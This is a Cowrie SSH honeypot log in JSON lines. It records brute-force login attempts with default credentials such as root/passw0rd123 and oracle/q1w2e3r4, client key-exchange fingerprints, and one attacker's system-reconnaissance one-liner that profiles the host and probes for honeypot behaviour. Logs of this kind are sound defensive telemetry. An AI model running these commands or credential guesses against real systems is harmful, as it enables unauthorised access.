{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53430,"dst_ip":"159.203.135.109","dst_port":22,"session":"915af89924c7","protocol":"ssh","message":"New connection: 160.187.174.22:53430 (159.203.135.109:22) [session: 915af89924c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:37.884682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:37.889201Z","src_ip":"160.187.174.22","session":"915af89924c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:38.134524Z","src_ip":"160.187.174.22","session":"915af89924c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:38.862366Z","src_ip":"160.187.174.22","session":"915af89924c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:40.106455Z","src_ip":"160.187.174.22","session":"915af89924c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":56174,"dst_ip":"159.203.135.109","dst_port":22,"session":"0eb330ba73a8","protocol":"ssh","message":"New connection: 139.19.117.129:56174 (159.203.135.109:22) [session: 0eb330ba73a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:46.819044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:46.823125Z","src_ip":"139.19.117.129","session":"0eb330ba73a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:46.914088Z","src_ip":"139.19.117.129","session":"0eb330ba73a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:47.098507Z","src_ip":"139.19.117.129","session":"0eb330ba73a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:47.101717Z","src_ip":"139.19.117.129","session":"0eb330ba73a8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:47.195111Z","src_ip":"139.19.117.129","session":"0eb330ba73a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:9e:54:20:5e:30:48:b8:50:ac:53:76:b9:19:13:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC+xvyXjpz8OpJU3QWdmFjgeAcL2cEjTBsLENGFLh7BVfwZ+DDxfXObcg7Fn3tnHOVh+W1gY0RARBhDmk1OxbZESaAmDnm4cmpna0xK4YG4MagCpSc/eAB/+Lts24Nt25RD+q2IN9XBq0Bkd74MMPrOR/WcqNz3wWTf5NhhLoixUnaPzxDL8N6rNzU2I0TeR2ZfyyrgE0V1Re+2g93S9xc5UU3UUS4LZfLIb92C6oTjuQQqD9DmaHy9KlApOm4zff0FETZeGfYSPkOQPv4B0lcJWV+l9hPHMCdri3ReVEmdO1BBL4R513pmkfURL5XNIIkMKx4Uy2OVK+M3LTiBOkbFckQLs2h7vgwCH3R+xnmeIqhSP/KPF6cEHd9FSh+qPkew/718DQwLkyNN3/5ekNaGJLQUrrUnc9YDmhtfC+WjYq6mjch5Wh9jl0/bezDCniSKL96qqR/NxAqcOPgV1tos6Xu2VmY+Au4WXDj8D9C670XhcZN3rdUs7Id0jhHtRgU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:47.198275Z","src_ip":"139.19.117.129","session":"0eb330ba73a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:30:56.818593Z","src_ip":"139.19.117.129","session":"0eb330ba73a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":57014,"dst_ip":"159.203.135.109","dst_port":22,"session":"33bf90ec8ac4","protocol":"ssh","message":"New connection: 160.187.174.22:57014 (159.203.135.109:22) [session: 33bf90ec8ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:06.663761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:06.668477Z","src_ip":"160.187.174.22","session":"33bf90ec8ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.113","src_port":37278,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5d7ab70b304","protocol":"ssh","message":"New connection: 209.99.190.113:37278 (10.17.0.5:22) [session: f5d7ab70b304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:06.851840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:06.856249Z","src_ip":"209.99.190.113","session":"f5d7ab70b304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:06.906098Z","src_ip":"160.187.174.22","session":"33bf90ec8ac4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:06.961467Z","src_ip":"209.99.190.113","session":"f5d7ab70b304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd123","message":"login attempt [root/passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:07.400617Z","src_ip":"209.99.190.113","session":"f5d7ab70b304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat123","message":"login attempt [tomcat/tomcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:07.742028Z","src_ip":"160.187.174.22","session":"33bf90ec8ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:08.503588Z","src_ip":"209.99.190.113","session":"f5d7ab70b304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:08.985267Z","src_ip":"160.187.174.22","session":"33bf90ec8ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.503697872161865,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:17.095121Z","src_ip":"170.64.224.25","session":"149154f91802","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":58054,"dst_ip":"10.17.0.5","dst_port":22,"session":"444cb64c2e3d","protocol":"ssh","message":"New connection: 91.92.40.4:58054 (10.17.0.5:22) [session: 444cb64c2e3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:19.655016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:19.659142Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:19.739906Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"q1w2e3r4","message":"login attempt [oracle/q1w2e3r4] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:19.993069Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.199547Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:31:20.202480Z","src_ip":"91.92.40.4","session":"444cb64c2e3d","protocol":"ssh"}
